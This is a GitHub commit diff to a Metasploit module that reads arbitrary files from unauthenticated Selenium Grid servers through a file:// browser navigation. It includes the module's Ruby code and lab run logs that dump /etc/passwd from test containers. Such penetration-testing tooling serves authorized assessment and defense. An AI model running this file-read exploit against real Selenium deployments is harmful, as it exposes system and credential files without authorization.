Skip to content

Commit 11c1b72

Browse files
committed
Improve
* add timeout option * print session info * apply suggestions (rapid7#19769)
1 parent bb138e4 commit 11c1b72

File tree

2 files changed

+58
-23
lines changed

2 files changed

+58
-23
lines changed

documentation/modules/auxiliary/gather/selenium_file_read.md

Lines changed: 25 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -47,6 +47,11 @@ This is the file to read. Default is `/etc/passwd`.
4747

4848
This is the browser to use. Default is `firefox`.
4949

50+
### TIMEOUT (required)
51+
52+
This is the amount of time (in seconds) that the module will wait for the payload to be
53+
executed. Defaults to 75 seconds.
54+
5055

5156
## Scenarios
5257
### selenium/standalone-firefox:3.141.59 installed with Docker on Ubuntu 24.04
@@ -65,6 +70,7 @@ Module options (auxiliary/gather/selenium_file_read):
6570
RPORT 4444 yes The target port (TCP)
6671
SCHEME file yes The scheme to use
6772
SSL false no Negotiate SSL/TLS for outgoing connections
73+
TIMEOUT 75 yes Timeout for exploit (seconds)
6874
VHOST no HTTP server virtual host
6975
7076
@@ -74,6 +80,7 @@ msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4445
7480
[*] Running module against 192.168.56.16
7581
[*] Running automatic check ("set AutoCheck false" to disable)
7682
[+] The target appears to be vulnerable. Version 3.141.59 detected
83+
[*] Started session (4a48aef3-9379-4cbe-9d6a-1ecc3176dc14).
7784
[+] /etc/passwd
7885
root:x:0:0:root:/root:/bin/bash
7986
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
@@ -102,6 +109,7 @@ messagebus:x:104:105::/nonexistent:/usr/sbin/nologin
102109
rtkit:x:105:106:RealtimeKit,,,:/proc:/usr/sbin/nologin
103110
pulse:x:106:107:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
104111
112+
[*] Failed to delete the session (4a48aef3-9379-4cbe-9d6a-1ecc3176dc14). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed.
105113
[*] Auxiliary module execution completed
106114
```
107115

@@ -110,7 +118,8 @@ pulse:x:106:107:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
110118
msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4446
111119
[*] Running module against 192.168.56.16
112120
[*] Running automatic check ("set AutoCheck false" to disable)
113-
[+] The target appears to be vulnerable. Selenium Grid version 4.x detected and ready.
121+
[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready.
122+
[*] Started session (eb790e48-318a-4949-a7ff-8566f181a609).
114123
[+] /etc/passwd
115124
root:x:0:0:root:/root:/bin/bash
116125
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
@@ -138,6 +147,7 @@ messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
138147
rtkit:x:104:105:RealtimeKit,,,:/proc:/usr/sbin/nologin
139148
pulse:x:105:106:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
140149
150+
[*] Failed to delete the session (eb790e48-318a-4949-a7ff-8566f181a609). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed.
141151
[*] Auxiliary module execution completed
142152
```
143153

@@ -146,7 +156,8 @@ pulse:x:105:106:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
146156
msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4447
147157
[*] Running module against 192.168.56.16
148158
[*] Running automatic check ("set AutoCheck false" to disable)
149-
[+] The target appears to be vulnerable. Selenium Grid version 4.x detected and ready.
159+
[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready.
160+
[*] Started session (2b4d313e-6e42-4c33-8bc8-630103269ef7).
150161
[+] /etc/passwd
151162
root:x:0:0:root:/root:/bin/bash
152163
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
@@ -175,6 +186,7 @@ messagebus:x:104:105::/nonexistent:/usr/sbin/nologin
175186
rtkit:x:105:106:RealtimeKit,,,:/proc:/usr/sbin/nologin
176187
pulse:x:106:107:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
177188
189+
[*] Failed to delete the session (2b4d313e-6e42-4c33-8bc8-630103269ef7). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed.
178190
[*] Auxiliary module execution completed
179191
```
180192

@@ -183,7 +195,8 @@ pulse:x:106:107:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
183195
msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4448
184196
[*] Running module against 192.168.56.16
185197
[*] Running automatic check ("set AutoCheck false" to disable)
186-
[+] The target appears to be vulnerable. Selenium Grid version 4.x detected and ready.
198+
[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready.
199+
[*] Started session (599a7d03-1eca-41f3-8726-3a192104dfc1).
187200
[+] /etc/passwd
188201
root:x:0:0:root:/root:/bin/bash
189202
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
@@ -209,15 +222,17 @@ systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
209222
messagebus:x:100:101::/nonexistent:/usr/sbin/nologin
210223
pulse:x:101:102:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
211224
225+
[*] Failed to delete the session (599a7d03-1eca-41f3-8726-3a192104dfc1). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed.
212226
[*] Auxiliary module execution completed
213227
```
214228

215229
### selenium/standalone-chrome:4.27.0 installed with Docker on Ubuntu 24.04
216230
```
217-
msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4449 browser=chrome
231+
msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4453 BROWSER=chrome
218232
[*] Running module against 192.168.56.16
219233
[*] Running automatic check ("set AutoCheck false" to disable)
220-
[+] The target appears to be vulnerable. Selenium Grid version 4.x detected and ready.
234+
[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready.
235+
[*] Started session (363b104ba9d167f434518d3eb1add0c6).
221236
[+] /etc/passwd
222237
root:x:0:0:root:/root:/bin/bash
223238
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
@@ -243,15 +258,17 @@ systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
243258
messagebus:x:100:101::/nonexistent:/usr/sbin/nologin
244259
pulse:x:101:102:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
245260
261+
[*] Deleted session (363b104ba9d167f434518d3eb1add0c6).
246262
[*] Auxiliary module execution completed
247263
```
248264

249265
### selenium/standalone-edge:4.27.0 installed with Docker on Ubuntu 24.04
250266
```
251-
msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4450 browser=MicrosoftEdge
267+
msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4454 BROWSER=MicrosoftEdge
252268
[*] Running module against 192.168.56.16
253269
[*] Running automatic check ("set AutoCheck false" to disable)
254-
[+] The target appears to be vulnerable. Selenium Grid version 4.x detected and ready.
270+
[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready.
271+
[*] Started session (80c4ac70d41d4ffc5585e750c94d9ac5).
255272
[+] /etc/passwd
256273
root:x:0:0:root:/root:/bin/bash
257274
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
@@ -277,5 +294,6 @@ systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
277294
messagebus:x:100:101::/nonexistent:/usr/sbin/nologin
278295
pulse:x:101:102:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
279296
297+
[*] Deleted session (80c4ac70d41d4ffc5585e750c94d9ac5).
280298
[*] Auxiliary module execution completed
281299
```

modules/auxiliary/gather/selenium_file_read.rb

Lines changed: 33 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -52,38 +52,45 @@ def initialize(info = {})
5252
OptString.new('SCHEME', [true, 'The scheme to use', 'file']),
5353
OptString.new('FILEPATH', [true, 'File to read', '/etc/passwd']),
5454
OptEnum.new('BROWSER', [true, 'The browser to use', 'firefox', ['firefox', 'chrome', 'MicrosoftEdge']]),
55+
OptInt.new('TIMEOUT', [ true, 'Timeout for exploit (seconds)', 75 ]),
5556
]
5657
)
5758
end
5859

5960
def check
60-
res = send_request_cgi({
61+
# Request for Selenium Grid version 3
62+
v3res = send_request_cgi({
6163
'method' => 'GET',
6264
'uri' => normalize_uri(target_uri.path)
6365
})
64-
if res&.code != 200
65-
res = send_request_cgi({
66+
if v3res&.code != 200
67+
# Request for Selenium Grid version 4
68+
v4res = send_request_cgi({
6669
'method' => 'GET',
6770
'uri' => normalize_uri(target_uri.path, 'status')
6871
})
69-
if res && res.get_json_document && res.get_json_document.include?('value') &&
70-
res.get_json_document['value'].include?('message')
71-
if res.get_json_document['value']['message'] == 'Selenium Grid ready.'
72-
return Exploit::CheckCode::Appears('Selenium Grid version 4.x detected and ready.')
73-
elsif res.get_json_document['value']['message'].downcase.include?('selenium grid')
72+
if v4res && v4res.get_json_document && v4res.get_json_document.include?('value') &&
73+
v4res.get_json_document['value'].include?('message')
74+
if v4res.get_json_document['value']['message'] == 'Selenium Grid ready.'
75+
return Exploit::CheckCode::Detected('Selenium Grid version 4.x detected and ready.')
76+
elsif v4res.get_json_document['value']['message'].downcase.include?('selenium grid')
7477
return Exploit::CheckCode::Unknown('Selenium Grid version 4.x detected but not ready.')
7578
end
7679
end
7780

78-
return Exploit::CheckCode::Unknown
81+
return Exploit::CheckCode::Unknown('Unexpected server reply.')
7982
end
8083

81-
js_code = res.get_html_document.css('script').find { |script| script.text.match(/var json = Object.freeze\('(.*?)'\);/) }
82-
return Exploit::CheckCode::Unknown unless js_code
84+
js_code = v3res.get_html_document.css('script').find { |script| script.text.match(/var json = Object.freeze\('(.*?)'\);/) }
85+
return Exploit::CheckCode::Unknown('Unable to determine the version.') unless js_code
8386

8487
json_str = js_code.text.match(/var json = Object.freeze\('(.*?)'\);/)[1]
85-
json_data = JSON.parse(json_str)
86-
return Exploit::CheckCode::Unknown unless json_data && json_data.include?('version') && json_data['version']
88+
begin
89+
json_data = JSON.parse(json_str)
90+
rescue JSON::ParserError
91+
return Exploit::CheckCode::Unknown('Unable to determine the version.')
92+
end
93+
return Exploit::CheckCode::Unknown('Unable to determine the version.') unless json_data && json_data.include?('version') && json_data['version']
8794

8895
# Extract the version
8996
version = Rex::Version.new(json_data['version'])
@@ -117,12 +124,14 @@ def run
117124
]
118125
}
119126
})
120-
})
121-
fail_with(Failure::Unknown, 'Connection failed.') unless res
127+
}, datastore['TIMEOUT'])
128+
fail_with(Failure::Unknown, 'Unexpected server reply.') unless res
122129

123130
session_id = res.get_json_document['value']['sessionId'] || res.get_json_document['sessionId']
124131
fail_with(Failure::Unknown, 'Failed to start session.') unless session_id
125132

133+
print_status("Started session (#{session_id}).")
134+
126135
# driver.get('file://%s' % [FILEPATH])
127136
res = send_request_cgi({
128137
'method' => 'POST',
@@ -143,11 +152,19 @@ def run
143152
print_good("#{datastore['FILEPATH']}\n#{Nokogiri::HTML(res.get_json_document['value'])&.at('pre')&.text}")
144153

145154
# End session
146-
send_request_cgi({
155+
# This may take some time (about 5 minutes or so), so no timeout is set here.
156+
res = send_request_cgi({
147157
'method' => 'DELETE',
148158
'uri' => normalize_uri(target_uri.path, @version3 ? "wd/hub/session/#{session_id}" : "session/#{session_id}"),
149159
'headers' => { 'Content-Type' => 'application/json; charset=utf-8' }
150160
})
161+
if res
162+
print_status("Deleted session (#{session_id}).")
163+
else
164+
print_status("Failed to delete the session (#{session_id}). "\
165+
'You may need to wait for the session to expire (default: 5 minutes) or '\
166+
'manually delete the session for the next exploit to succeed.')
167+
end
151168
end
152169

153170
end

0 commit comments

Comments
 (0)